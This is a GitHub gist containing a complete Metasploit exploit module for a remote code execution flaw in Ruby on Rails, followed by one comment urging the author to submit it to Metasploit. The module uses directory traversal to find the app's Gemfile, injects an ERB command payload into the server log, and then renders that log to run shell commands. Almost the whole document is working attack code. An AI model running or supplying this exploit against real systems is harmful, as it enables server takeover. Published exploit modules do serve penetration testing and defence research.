Skip to content

Instantly share code, notes, and snippets.

@forced-request
Created January 25, 2016 22:03
Show Gist options
  • Save forced-request/5158759a6418e6376afb to your computer and use it in GitHub Desktop.
Save forced-request/5158759a6418e6376afb to your computer and use it in GitHub Desktop.
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@@trav_string = '%5c%2e%2e%2f'
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Dynamic Render Directory Traversal + Code Exec',
'Description' => %q{
This module exploits a remote code execution vulnerability in the explicit render
method when leveraging user parameters.
This module has been tested across multiple versions of RoR 3.x and RoR 4.x
The technique used by this module requires the specified endpoint to be using
dynamic render paths, such as the following example:
def show
render params[:id]
end
},
'Author' =>
[
'John Poulin (forced-request)'
],
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet'
}
},
'Privileged' => true,
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/user"]),
OptString.new('LOGFILE', [ true, 'The environment\'s log file', 'log%2fdevelopment%2elog']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT'] ]),
OptString.new('COOKIES', [ false, 'HTTP headers, including auth headers and cookies', ''])
], self.class)
end
def vuln
desired_location = 'Gemfile'
# Initial payload
p = desired_location
# Search for depth up to 10 to detect if server is vuln
11.times do |i|
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], p),
'method' => datastore['HTTP_METHOD'],
'cookie' => datastore['COOKIES']
}, 60)
# Check if response contains Gemfile info
if res.body.match(/^gem /)
@depth = i
print_good("It appears that this application is vulnerable")
return true
end
# Prepare next payload
p = @@trav_string + p
end
return false
end
def send_payload
p = datastore['LOGFILE']
(@depth).times do |i|
p = @@trav_string + p
end
p = p + "?p=%3c%25%20%60" + CGI::escape(payload.encoded) + "%60%25%3e"
print_status("Sending payload: #{p}")
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], p),
'method' => datastore['HTTP_METHOD'],
'cookie' => datastore['COOKIES']
}, 60)
end
def render_log
p = datastore['LOGFILE']
(@depth).times do |i|
p = @@trav_string + p
end
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], p),
'method' => datastore['HTTP_METHOD'],
'cookie' => datastore['COOKIES']
}, 60)
end
#
# Send the actual request
#
def exploit
print_status("Sending initial request to detect exploitability")
# Check if vulnerable
if vuln
print_status("Attempting to exploit")
send_payload
else
print_error("Application does not appear vulnerable")
end
end
end
@firefart
Copy link

@forced-request would you mind creating a pull request to metasploit with your module?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment